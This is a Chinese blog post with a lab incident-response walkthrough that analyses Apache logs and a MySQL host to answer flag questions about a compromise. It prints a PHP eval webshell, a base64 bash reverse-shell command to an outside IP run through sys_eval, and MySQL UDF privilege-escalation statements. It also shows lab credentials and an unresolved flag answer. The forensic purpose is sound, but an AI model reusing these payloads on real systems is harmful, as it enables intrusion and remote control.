第二章日志分析-mysql应急响应
知识点
- mysql udf提权
- apache日志排查
- bash反弹shell
题解
mysql应急响应 ssh账号 root 密码 xjmysql
ssh env.xj.edisec.net -p xxxxx
1.黑客第一次写入的shell flag{关键字符串}
# 先看/var/www/html目录发现sh.php后门文件, 内容如下 1 2 <?php @eval($_POST['a']);?> 4 //ccfda79e-7aa1-4275-bc26-a6189eb9a20b # 从这个1 2 4能看出来是通过数据库注入写入的webshell, 注入点为表第三个字段 flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}
2.黑客反弹shell的ip flag{ip}
# 查看一下apache的日志 # 在518行, 发现了如下内容 192.168.200.2 - - [01/Aug/2023:02:18:27 +0000] "POST /adminer.php?username=root&sql=select%20sys_eval(%27echo%20YmFzaCAtaSA%2BJi9kZXYvdGNwLzE5Mi4xNjguMTAwLjEzLzc3NyAwPiYx%7Cbase64%20-d%3E%2Ftmp%2F1.sh%27)%3B # url解码后的内容为 username=root&sql=select sys_eval('echo YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTAwLjEzLzc3NyAwPiYx|base64 -d>/tmp/1.sh'); # base64解码后的内容为 bash -i >&/dev/tcp/192.168.100.13/777 0>&1 # 这里能得到5个信息 1.使用bash进行的shell反弹 2.反弹shell的地址为192.168.100.13 3.反弹shell的端口为777端口 4.反弹shell的执行内容写入了/tmp/1.sh 5.根据sys_eval, 攻击者使用mysql_udf的方式进行的提权 flag{192.168.100.13}
3.黑客提权文件的完整路径 md5 flag{md5} 注/xxx/xxx/xxx/xxx/xxx.xx
# 这里问的是黑客提权文件的完整路径, udf提权的本质是mysql可以加载用户插件成为mysql中的自定义function # udf提权需要导入一个动态链接库到插件目录, 从apache日志的第496行发现了如下内容 http://192.168.200.31:8005/adminer.php?username=root&db=cms&sql=show variables like '%plugin%' # 这里黑客正在查看插件目录在哪里, 先从common.php中找到mysql用户密码连入数据库查看查询结果 ➜ mysql -uroot -p334cc35b3c704593 # 查看插件目录 MariaDB [(none)]> show variables like '%plugin%'; +-----------------+------------------------+ | Variable_name | Value | +-----------------+------------------------+ | plugin_dir | /usr/lib/mysql/plugin/ | | plugin_maturity | unknown | +-----------------+------------------------+ # 前往插件目录查看有没有奇怪的文件 ➜ ls -l /usr/lib/mysql/plugin/ total 4752 -rw-r--r--. 1 mysql mysql 10416 May 16 2019 auth_pam.so -rw-r--r--. 1 mysql mysql 6464 May 16 2019 auth_socket.so -rw-r--r--. 1 mysql mysql 10200 May 16 2019 dialog.so -rw-r--r--. 1 mysql mysql 1600136 May 16 2019 ha_innodb.so -rw-r--r--. 1 mysql mysql 159304 May 16 2019 handlersocket.so -rw-r--r--. 1 mysql mysql 6104 May 16 2019 mysql_clear_password.so -rw-rw-rw-. 1 mysql mysql 10754 Aug 1 2023 mysqludf.so -rw-r--r--. 1 mysql mysql 39944 May 16 2019 semisync_master.so -rw-r--r--. 1 mysql mysql 14736 May 16 2019 semisync_slave.so -rw-r--r--. 1 mysql mysql 55696 May 16 2019 server_audit.so -rw-r--r--. 1 mysql mysql 2918008 May 16 2019 sphinx.so -rw-r--r--. 1 mysql mysql 11008 May 16 2019 sql_errlog.so -rw-rw-rw-. 1 mysql mysql 34 Aug 1 2023 udf.so # 可以看出来只有udf.so和mysqludf.so是2023年新创建的, 而且根据文件大小可以判断提权文件是mysqludf.so # 再根据apache日志进行二次确认, apache日志的第503和504行, 是黑客正在根据mysqludf.so创建sys_eval函数如下: sql=create function sys_eval returns string soname 'mysqludf.so'; flag{/usr/lib/mysql/plugin/mysqludf.so} # flag错了因为要完整路径的md5 flag{3e7bacbb71987712109fe091fc3d987f} # flag还tm不正确, 搜了下答案发现是提权文件是udf.so? # ......... 我觉得得确认一下答案有没有问题
4.黑客获取的权限 flag{whoami后的值}
# 黑客获取的权限也就是创建的sys_eval的权限, 连入数据库执行一下whoami ➜ mysql -uroot -p334cc35b3c704593 MariaDB [(none)]> select * from mysql.func; +----------+-----+-------------+----------+ | name | ret | dl | type | +----------+-----+-------------+----------+ | sys_eval | 0 | mysqludf.so | function | +----------+-----+-------------+----------+ 1 row in set (0.00 sec) MariaDB [(none)]> select sys_eval('whoami'); +--------------------+ | sys_eval('whoami') | +--------------------+ | mysql | +--------------------+ 1 row in set (0.01 sec) flag{mysql}
本文作者:Fxe0_0
本文链接:https://www.cnblogs.com/Fxe00/p/18338186
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?